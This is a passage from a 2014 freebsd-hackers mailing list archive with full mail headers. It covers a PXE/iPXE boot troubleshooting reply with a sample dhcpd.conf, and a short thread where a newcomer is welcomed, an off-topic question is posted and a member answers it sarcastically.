mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"= From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 30 13:42:22 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D49275F6 for ; Wed, 30 Apr 2014 13:42:22 +0000 (UTC) Received: from mail-pa0-x236.google.com (mail-pa0-x236.google.com [IPv6:2607:f8b0:400e:c03::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id AA0501374 for ; Wed, 30 Apr 2014 13:42:22 +0000 (UTC) Received: by mail-pa0-f54.google.com with SMTP id lf10so2024444pab.41 for ; Wed, 30 Apr 2014 06:42:19 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=0ria0nbm20C8abjnetySTztauZL6yvXAnZk0zRHKMZs=; b=GsPdd6di/rvsGEnSIz/NFnHxG+yTaM9Ge8nfyeoKlp/n/AQna3yIZLzmtDDHAP/wO6 a281uyMs0Wh53xIYyw31L50+BR5+UldzhTNJDowMpyIZJ5xat9dooD7cOCVwfpaNH8Iv 1nyu6BNicCpKK2ns9nNT9SIo3yoN1ZESjk95B7y6Xvo8L6T0yl6zVAKarMOWoxykUy5R m8AIoUmlrwE3JneaBrW8g+lbw5htqTJLsu0xgRadY48Pdw5YJ/00BgHYpKGqUN4/sgOa pDwCFoRWpYzcfE+KEGLEwleKD3ZdUOrCQwDNyb/psCunWgU3uUgEIZGTmh0WsHl/pgKO EL3w== MIME-Version: 1.0 X-Received: by 10.66.148.70 with SMTP id tq6mr9000950pab.56.1398865339480; Wed, 30 Apr 2014 06:42:19 -0700 (PDT) Received: by 10.70.89.33 with HTTP; Wed, 30 Apr 2014 06:42:19 -0700 (PDT) In-Reply-To: References: Date: Wed, 30 Apr 2014 15:42:19 +0200 Message-ID: Subject: Re: vm+ipxe+pxeboot fail From: amine tay To: Mark Saad Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 30 Apr 2014 13:42:22 -0000 Hi Mark thanks for your reply, I have my root-path in dhcpd.conf and etc/exports. my dhcpd.conf : authoritative; subnet 10.28.236.0 netmask 255.255.255.0 { one-lease-per-client on; range 10.28.236.10 10.28.236.250; default-lease-time 1200; max-lease-time 43200; dynamic-bootp-lease-length 1200; option ntp-servers 10.28.236.1; option broadcast-address 10.28.236.255; option subnet-mask 255.255.255.0; option domain-name "xxxxxxxxxxxxx"; option domain-search "xxxxxxxxxxxxxxxxxxxxx"; option domain-name-servers 10.28.236.1; allow duplicates; allow unknown-clients; allow booting; allow bootp; host freebsd {hardware ethernet 00:50:56:99:0b:c4; fixed-address 10.28.236.14; option root-path "/opt/razor/image/image/os/7I2RjjQvo7IkbqO4rLv6kJ";} if exists user-class and option user-class = "iPXE" { filename "razor.ipxe"; # we are in an iPXE kernel and load static script } else { filename "undionly.kpxe"; # we are in burned in PXE and load iPXE kernel } next-server 10.28.236.1; } And the Freebsd pxeboot loader is launched by razor. 2014-04-30 15:22 GMT+02:00 Mark Saad : > > > > On Apr 30, 2014, at 4:10 AM, amine tay wrote: > > > > Hi everyone, > > > > Lately I had some problems, trying to get FreeBSD to PXE boot. (Actually > > I'm using a VMware virtual machine.) First I'm using iPXE 1.0.0 and then > > load and launch the FreeBSD pxeboot > > loader. But I'm getting this : > > http://forums.freebsd.org/viewtopic.php?f=4&t=45901 > > When using isc-dhcp as DHCP server I'm getting the error but when using > > dnsmasq everything works fine. > > > > The problem seems that the client when booting is sending 2 DHCP requests > > and therefore gets two different IP addresses, the first one sent by the > > ROM and the second one by the FreeBSD > > pxebootloader. > > > > I found somewhere in some posts that the pxe.c file is doing a second > > bootprequest because it fails to get cached DHCP data from the ROM. > > > > Any help or more ideas would be appreciated. > > It looked like you either do not have options rootpath set in dhcpd.conf , > etc/exports is mis configured , the nfs server is disabled or if you have > loader built with tftp support you do not have a tftp server setup / > running . > > Can you sent the dhcpd.conf the exports file off the server ? > > Mark saad | mark.saad@longcount.org > > > > _______________________________________________ > > freebsd-hackers@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > To unsubscribe, send any mail to " > freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Fri May 2 03:35:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D4C7C9B2 for ; Fri, 2 May 2014 03:35:21 +0000 (UTC) Received: from mail-wi0-x229.google.com (mail-wi0-x229.google.com [IPv6:2a00:1450:400c:c05::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 7268F11CD for ; Fri, 2 May 2014 03:35:21 +0000 (UTC) Received: by mail-wi0-f169.google.com with SMTP id hi5so1643929wib.0 for ; Thu, 01 May 2014 20:35:19 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:from:date:message-id:subject:to:content-type; bh=2uj4T09a4Zkqcl1H+uJmoIvlqHI4wH3/wN2btctRi2g=; b=cRggwMhUnl7xBmgJjWsnqlrVDD4zPp+447/jJ1oaH1sdZ0PT9b8QAeGnfAA/OsB/uW DFaI5camRynm8W/ojF6xG9OsFZclx42VfxRPTgzMX+JE4mtq/NyLzzXLNrAjorlf66uI bgh13LeIpOZwstcBd4hew7KyUq+xnzy1crc5Pafdwaz+YBOZjKYApnS2fOrYqq5nB74A dc9AgsjNG4hKdMjiRDGTk/O5vRBsbeEuSieTUe9uAGNFG96CeXn0D/LCwgj/VPYNG+GU sfBYcaeFbqh2zbeiZLZ34soUsdGmxvcoeOFfg+ZOu8p93NV0eVlnZJ8HqTniD/fQW04+ C1FQ== X-Received: by 10.194.222.227 with SMTP id qp3mr11390171wjc.37.1399001719671; Thu, 01 May 2014 20:35:19 -0700 (PDT) MIME-Version: 1.0 Received: by 10.194.174.2 with HTTP; Thu, 1 May 2014 20:34:59 -0700 (PDT) From: Sitthykun LY Date: Fri, 2 May 2014 10:34:59 +0700 Message-ID: Subject: Membership To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 02 May 2014 03:35:21 -0000 Dear folk, I am a programmer from Cambodia. I would like to be member of this group and have permission to discuss in the group. Please assign me if you can. Thanks and regards, Sitthykun (Masako Kh) From owner-freebsd-hackers@FreeBSD.ORG Fri May 2 03:58:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 074D0DF3 for ; Fri, 2 May 2014 03:58:04 +0000 (UTC) Received: from mail-pa0-f41.google.com (mail-pa0-f41.google.com [209.85.220.41]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id CE9FA1355 for ; Fri, 2 May 2014 03:58:03 +0000 (UTC) Received: by mail-pa0-f41.google.com with SMTP id lj1so1963014pab.14 for ; Thu, 01 May 2014 20:57:57 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:message-id:date:from:user-agent:mime-version:to :cc:subject:references:in-reply-to:content-type :content-transfer-encoding; bh=DXxmaS4hiTwq7XPZa/5pWB2KV680SdReK3h/dTmxERg=; b=U3cMZGPrnsB09HvMejypwfmIHymqrXKWVSQPpcoz8evyxTf/sPpi2vX3NeTF/6YC2m rW8yzGPDwyqHVmH9Q2485Z4TXGYao1RjOsEKTxiq+lOvs+QuRw70XoF7QhPzzv4vWt73 R4EMMMmECPJLJ3hD9mlmN/OaDOuSCZqUQDWpTWphIFfcfVgWCAOYADg0eviVc2nmR+aQ UXVVNEpTP5u8xSU38z/9Jy88QnC05OjstmEwPgzWde2sNBi+dITWGVeu+nDSXRv4NrOY 0UwD90ZFF2Wy3LxW7Wcu5w25qez4Mm+IblxogIfV94YzWfHNzlQw2+kaIr0+5hlUBbi9 wYTA== X-Gm-Message-State: ALoCoQkLEcXG8Yz0PBhvrs5d5830JMZr8W1mZe3LygV0GxUaFP63lHBSWErWjYmsglik0kQUfpfJ X-Received: by 10.67.24.1 with SMTP id ie1mr29228648pad.133.1399003077175; Thu, 01 May 2014 20:57:57 -0700 (PDT) Received: from [0.0.0.0] (68-233-249-2.static.hvvc.us. [68.233.249.2]) by mx.google.com with ESMTPSA id ph1sm171874127pac.14.2014.05.01.20.57.47 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 01 May 2014 20:57:49 -0700 (PDT) Message-ID: <53631777.7090309@pathscale.com> Date: Fri, 02 May 2014 10:56:39 +0700 From: =?ISO-8859-1?Q?=22C=2E_Bergstr=F6m=22?= User-Agent: Mozilla/5.0 (X11; SunOS i86pc; rv:17.0) Gecko/20130802 Thunderbird/17.0.8 MIME-Version: 1.0 To: Sitthykun LY Subject: Re: Membership References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 02 May 2014 03:58:04 -0000 On 05/ 2/14 10:34 AM, Sitthykun LY wrote: > Dear folk, > > I am a programmer from Cambodia. > I would like to be member of this group > and have permission to discuss in the group. > > Please assign me if you can. Hi Masako, Welcome! Unless I'm mistaken there's not formalities to posting questions or helping contribute to FreeBSD. Feel free to share you technical thoughts, patches and other on topic ideas. Take a look at the archives to see what others have discussed in the past http://lists.freebsd.org/pipermail/freebsd-hackers/ Thanks From owner-freebsd-hackers@FreeBSD.ORG Fri May 2 06:37:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BAA40854 for ; Fri, 2 May 2014 06:37:10 +0000 (UTC) Received: from mail-wi0-x232.google.com (mail-wi0-x232.google.com [IPv6:2a00:1450:400c:c05::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 54F481098 for ; Fri, 2 May 2014 06:37:10 +0000 (UTC) Received: by mail-wi0-f178.google.com with SMTP id hm4so1848418wib.5 for ; Thu, 01 May 2014 23:37:08 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=3BXMl2DXBeSgqrnsR6mmeIq/TRf8s/8cVOnxCqbtZNM=; b=QokijUOVrWBIIe51g/kKCJer6X9ubMGMpXG3bmrZl5A5UWG8V1FUvpZLOIylrZhnsb /GkWYBrdN+4+HRk5wPhcQLKuLGz6BqhN3MSvOih1ZyC2KXAP9NcplBP9w3M/1ub+EtPO 9DVMvk9OfgFAugKy3DhJH3Mp0PuneJqd7aF4ZRDuG2c1yXqigqdA7ofZhKvL7SKPQnnz m8+Nt+PRp6fkH2Kbc0swIbd1xh/j3mTPx5MDEqGwQ4+nADwoKy3EKL9iiFsWl2Zg7JkI HS1praIpulrCJA0wwoffERw63VncEEonMYk847gAuN+0II40dO9WrtMzW+0i8KBU6J+U 1a4w== X-Received: by 10.180.185.100 with SMTP id fb4mr1435470wic.11.1399012628642; Thu, 01 May 2014 23:37:08 -0700 (PDT) MIME-Version: 1.0 Received: by 10.194.174.2 with HTTP; Thu, 1 May 2014 23:36:48 -0700 (PDT) In-Reply-To: <53631777.7090309@pathscale.com> References: <53631777.7090309@pathscale.com> From: Sitthykun LY Date: Fri, 2 May 2014 13:36:48 +0700 Message-ID: Subject: Re: Membership To: =?UTF-8?Q?C=2E_Bergstr=C3=B6m?= Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 02 May 2014 06:37:10 -0000 Hi C.Bergstrom, I got it. Thank you Best, Sitthykun On Fri, May 2, 2014 at 10:56 AM, "C. Bergstr=C3=B6m" wrote: > On 05/ 2/14 10:34 AM, Sitthykun LY wrote: > >> Dear folk, >> >> I am a programmer from Cambodia. >> I would like to be member of this group >> and have permission to discuss in the group. >> >> Please assign me if you can. >> > Hi Masako, > > Welcome! Unless I'm mistaken there's not formalities to posting questions > or helping contribute to FreeBSD. Feel free to share you technical > thoughts, patches and other on topic ideas. > > Take a look at the archives to see what others have discussed in the past > http://lists.freebsd.org/pipermail/freebsd-hackers/ > > Thanks > > > --=20 Sitthykun LY a little developer in the big world \o/ mobile: +85595 7788 39 skype: cityx9 twitter: sitthykun site: niyum.com From owner-freebsd-hackers@FreeBSD.ORG Fri May 2 09:13:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C4087501 for ; Fri, 2 May 2014 09:13:33 +0000 (UTC) Received: from dub0-omc4-s13.dub0.hotmail.com (dub0-omc4-s13.dub0.hotmail.com [157.55.2.88]) by mx1.freebsd.org (Postfix) with ESMTP id 66DE21CC4 for ; Fri, 2 May 2014 09:13:32 +0000 (UTC) Received: from DUB118-W27 ([157.55.2.71]) by dub0-omc4-s13.dub0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675); Fri, 2 May 2014 02:13:26 -0700 X-TMN: [GvXOuAVoD0w4BS9Lj2+NWlbpkrUT6psP] X-Originating-Email: [westsidefamily13@hotmail.com] Message-ID: From: West Side Family To: , Subject: RE: Membership Date: Fri, 2 May 2014 12:13:26 +0300 Importance: Normal In-Reply-To: <53631777.7090309@pathscale.com> References: , <53631777.7090309@pathscale.com> MIME-Version: 1.0 X-OriginalArrivalTime: 02 May 2014 09:13:26.0396 (UTC) FILETIME=[C67C6BC0:01CF65E6] Content-Type: text/plain; charset="iso-8859-7" Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 02 May 2014 09:13:33 -0000 Hello there=2C I need help!! Can anybody tell me how to change my birthday = and more stuf from scanning picture?? Thank you > Date: Fri=2C 2 May 2014 10:56:39 +0700 > From: cbergstrom@pathscale.com > To: ly.sitthykun@gmail.com > Subject: Re: Membership > CC: freebsd-hackers@freebsd.org >=20 > On 05/ 2/14 10:34 AM=2C Sitthykun LY wrote: > > Dear folk=2C > > > > I am a programmer from Cambodia. > > I would like to be member of this group > > and have permission to discuss in the group. > > > > Please assign me if you can. > Hi Masako=2C >=20 > Welcome! Unless I'm mistaken there's not formalities to posting=20 > questions or helping contribute to FreeBSD. Feel free to share you=20 > technical thoughts=2C patches and other on topic ideas. >=20 > Take a look at the archives to see what others have discussed in the past > http://lists.freebsd.org/pipermail/freebsd-hackers/ >=20 > Thanks >=20 >=20 > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe=2C send any mail to "freebsd-hackers-unsubscribe@freebsd.o= rg" = From owner-freebsd-hackers@FreeBSD.ORG Fri May 2 09:19:56 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 87F977F4 for ; Fri, 2 May 2014 09:19:56 +0000 (UTC) Received: from mail-ig0-x22c.google.com (mail-ig0-x22c.google.com [IPv6:2607:f8b0:4001:c05::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 42DD11D2E for ; Fri, 2 May 2014 09:19:56 +0000 (UTC) Received: by mail-ig0-f172.google.com with SMTP id uy17so1614337igb.17 for ; Fri, 02 May 2014 02:19:55 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=dataix.net; s=rsa; h=references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=3iTxX7CpDH/KUcMXdjT0P+5t9zQuWZxdHgxMJeaH5is=; b=Vv6a9e8gnjrIokArR2GDYJL6ejbl4KCQVgXswvj9irqcKlQPhkgASdcx0l9Kxrr6z4 RMF4J4jh6AQRjuF6dFHUOJDvilnefGg3K/j4eXBLBTa5ilUTx1DDXFSxrApW1GgTciGK T1P8LSRr9imepPnLRtm4Kc+b8UlrpjEadJgqI= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=3iTxX7CpDH/KUcMXdjT0P+5t9zQuWZxdHgxMJeaH5is=; b=ZJgS7afyn51KkbolphAvYcvYj5o72AXgOAjotWsLHI4G9xI1LGpP25u3M4ClZCVPMS VqmYfy2ddwdjvp+aWQYJxgjtFyU8mohRmaFdHeqI/M/m9BaXiSMhHcE9EoT9KIrbYDTB FEremwR2xC3DtZv6lMSRNoqiLRvbxG/s97oHfE/0TcVzavSOBTu8qtUE4SC1j/noGMp1 wqQd/T3C4Tqm6kKuMH8HqV4qVmLBrGCHDVbskO08zD1x0dFEBLolMzhbsxqIWW6oZjwx +5KSCtU+jQEObGV7w2ayOmnP3ct5boNVS6T6GGCSvQ+ticIE39QkxtH2GN+JERCgLg2W 7guw== X-Gm-Message-State: ALoCoQkEB2qyDzO2y5pN6fk1xcKbKRkcp+WYdxMANn9O1E6dcPYxEJlA0lnuM0SUk8SMa+ts9x77 X-Received: by 10.50.13.100 with SMTP id g4mr2439106igc.9.1399022395405; Fri, 02 May 2014 02:19:55 -0700 (PDT) Received: from [172.31.35.2] (75-128-101-59.dhcp.sgnw.mi.charter.com. [75.128.101.59]) by mx.google.com with ESMTPSA id p9sm6084157igj.16.2014.05.02.02.19.54 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 02 May 2014 02:19:54 -0700 (PDT) References: <53631777.7090309@pathscale.com> Mime-Version: 1.0 (1.0) In-Reply-To: Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-FA519E35-DC6A-49B9-94E5-CF715392D453; protocol="application/pkcs7-signature" Content-Transfer-Encoding: 7bit Message-Id: <87653D76-E6DB-41FD-AF33-6F5651644F67@dataix.net> X-Mailer: iPhone Mail (11B554a) From: Jason Hellenthal Subject: Re: Membership Date: Fri, 2 May 2014 05:19:51 -0400 To: West Side Family X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" , "" , "" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 02 May 2014 09:19:56 -0000 --Apple-Mail-FA519E35-DC6A-49B9-94E5-CF715392D453 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Wow that was brilliant of you. Please do shed some more intelligent light on= things. I'm sure he will remember that when he sends you a patch that you cant read d= ue to your well refined knowledge. #Sewage --=20 Jason Hellenthal Voice: 95.30.17.6/616 JJH48-ARIN > On May 2, 2014, at 5:13, West Side Family w= rote: >=20 > Hello there, I need help!! Can anybody tell me how to change my birthday a= nd more stuf from scanning picture?? Thank you >=20 >> Date: Fri, 2 May 2014 10:56:39 +0700 >> From: cbergstrom@pathscale.com >> To: ly.sitthykun@gmail.com >> Subject: Re: Membership >> CC: freebsd-hackers@freebsd.org >>=20 >>> On 05/ 2/14 10:34 AM, Sitthykun LY wrote: >>> Dear folk, >>>=20 >>> I am a programmer from Cambodia. >>> I would like to be member of this group >>> and have permission to discuss in the group. >>>=20 >>> Please assign me if you can. >> Hi Masako, >>=20 >> Welcome! Unless I'm mistaken there's not formalities to posting=20 >> questions or helping contribute to FreeBSD. Feel free to share you=20 >> technical thoughts, patches and other on topic ideas. >>=20 >> Take a look at the archives to see what others have discussed in the past= >> http://lists.freebsd.org/pipermail/freebsd-hackers/ >>=20 >> Thanks >>=20 >>=20 >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org= " > =20 > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"= --Apple-Mail-FA519E35-DC6A-49B9-94E5-CF715392D453 Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIUOTCCBjAw ggUYoAMCAQICAwaijjANBgkqhkiG9w0BAQsFADCBjDELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0 YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcx ODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRlcm1lZGlhdGUgQ2xpZW50IENB MB4XDTEzMDUxODA4NTA0OFoXDTE0MDUxOTIyMDk0N1owSDEfMB0GA1UEAwwWamhlbGxlbnRoYWxA ZGF0YWl4Lm5ldDElMCMGCSqGSIb3DQEJARYWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCASIwDQYJ KoZIhvcNAQEBBQADggEPADCCAQoCggEBALgnYFS1bWZr3KhKBzWAdRwrY+En+RRV8nCaYubqrMG+ YJbuenaIKSbIuFiDWipW4RHYTpE28pKaSnaVTG9WtAZvsWj0gYN9g2fYCnCOUceES2Yvi3RavxpB hsuzKIfsHb8iNNSEuczLu6gn4mQyaHwE4x6xSUKmbK8njR+YoF522F60wjsnq5dlOJdTrhDfObE5 5P23279WbRp8azgZX1VRB66wdKRDuSI1vBts4Nsha2paXd6HUUduHrPACBQREJTGXN8XtEKVwo63 aKUhRgtUwHNEuSWck/xwVl7PBUWH2dORAWTCqHjNuCKNOQ1/0LMiyMj7FdsBjN4dgL4YZpsCAwEA AaOCAtwwggLYMAkGA1UdEwQCMAAwCwYDVR0PBAQDAgSwMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggr BgEFBQcDBDAdBgNVHQ4EFgQU29qUrmZtgQ7ZVoDKogfpJOSfk+YwHwYDVR0jBBgwFoAUU3Ltkpzg 2ssBXHx+ljVO8tS4UYIwIQYDVR0RBBowGIEWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCAUwGA1Ud IASCAUMwggE/MIIBOwYLKwYBBAGBtTcBAgMwggEqMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9wb2xpY3kucGRmMIH3BggrBgEFBQcCAjCB6jAnFiBTdGFydENvbSBDZXJ0aWZp Y2F0aW9uIEF1dGhvcml0eTADAgEBGoG+VGhpcyBjZXJ0aWZpY2F0ZSB3YXMgaXNzdWVkIGFjY29y ZGluZyB0byB0aGUgQ2xhc3MgMSBWYWxpZGF0aW9uIHJlcXVpcmVtZW50cyBvZiB0aGUgU3RhcnRD b20gQ0EgcG9saWN5LCByZWxpYW5jZSBvbmx5IGZvciB0aGUgaW50ZW5kZWQgcHVycG9zZSBpbiBj b21wbGlhbmNlIG9mIHRoZSByZWx5aW5nIHBhcnR5IG9ibGlnYXRpb25zLjA2BgNVHR8ELzAtMCug KaAnhiVodHRwOi8vY3JsLnN0YXJ0c3NsLmNvbS9jcnR1MS1jcmwuY3JsMIGOBggrBgEFBQcBAQSB gTB/MDkGCCsGAQUFBzABhi1odHRwOi8vb2NzcC5zdGFydHNzbC5jb20vc3ViL2NsYXNzMS9jbGll bnQvY2EwQgYIKwYBBQUHMAKGNmh0dHA6Ly9haWEuc3RhcnRzc2wuY29tL2NlcnRzL3N1Yi5jbGFz czEuY2xpZW50LmNhLmNydDAjBgNVHRIEHDAahhhodHRwOi8vd3d3LnN0YXJ0c3NsLmNvbS8wDQYJ KoZIhvcNAQELBQADggEBAHsw8/Hw07gsNTKYnld74NBFtHnQOPkXYuccWx3j0PGQe9nqNxeingBf 2yvx+xBQzBoi4J1u84Jbrbe8Ii3+LLD/QMW9cN0SBIgRStPQLVee4STdjeabGmpXQa7omC02wYYO 83qh6CgJEIbmrsBSZH8ZSVrjkC4UmZS8wAQMS3qTWAPF0ZQGWx2+Gks2fXuacyt2LpNR+p9ogjAZ 1/rmUKjNhQZLswytaLRUdwAwSfQ3+TNs68h6Kv1LC3bNGBT3NEtr2q/nzzb5MzuFcDE6f9exroAC 4BHmokAprhna/vZdb6BrPjpXgRAlWAh3wEMxw75M9S/Nbzj/jNp+I+lvUJYwggY0MIIEHKADAgEC AgEeMA0GCSqGSIb3DQEBBQUAMH0xCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQu MSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMSkwJwYDVQQDEyBT dGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNzEwMjQyMTAxNTVaFw0xNzEwMjQy MTAxNTVaMIGMMQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRkLjErMCkGA1UECxMi U2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzE4MDYGA1UEAxMvU3RhcnRDb20gQ2xh c3MgMSBQcmltYXJ5IEludGVybWVkaWF0ZSBDbGllbnQgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDHCYPMzi3YGrEppC4Tq5a+ijKDjKaIQZZVR63UbxIP6uq/I0fhCu+cQhoUfE6E RKKnu8zPf1Jwuk0tsvVCk6U9b+0UjM0dLep3ZdE1gblK/1FwYT5Pipsu2yOMluLqwvsuz9/9f1+1 PKHG/FaR/wpbfuIqu54qzHDYeqiUfsYzoVflR80DAC7hmJ+SmZnNTWyUGHJbBpA8Q89lGxahNvur yGaC/o2/ceD2uYDX9U8Eg5DpIpGQdcbQeGarV04WgAUjjXX5r/2dabmtxWMZwhZna//jdiSyrrSM TGKkDiXm6/3/4ebfeZuCYKzN2P8O2F/Xe2AC/Y7zeEsnR7FOp+uXAgMBAAGjggGtMIIBqTAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUU3Ltkpzg2ssBXHx+ljVO8tS4 UYIwHwYDVR0jBBgwFoAUTgvvGqRAW6UXaYcwyjRoQ9BBrvIwZgYIKwYBBQUHAQEEWjBYMCcGCCsG AQUFBzABhhtodHRwOi8vb2NzcC5zdGFydHNzbC5jb20vY2EwLQYIKwYBBQUHMAKGIWh0dHA6Ly93 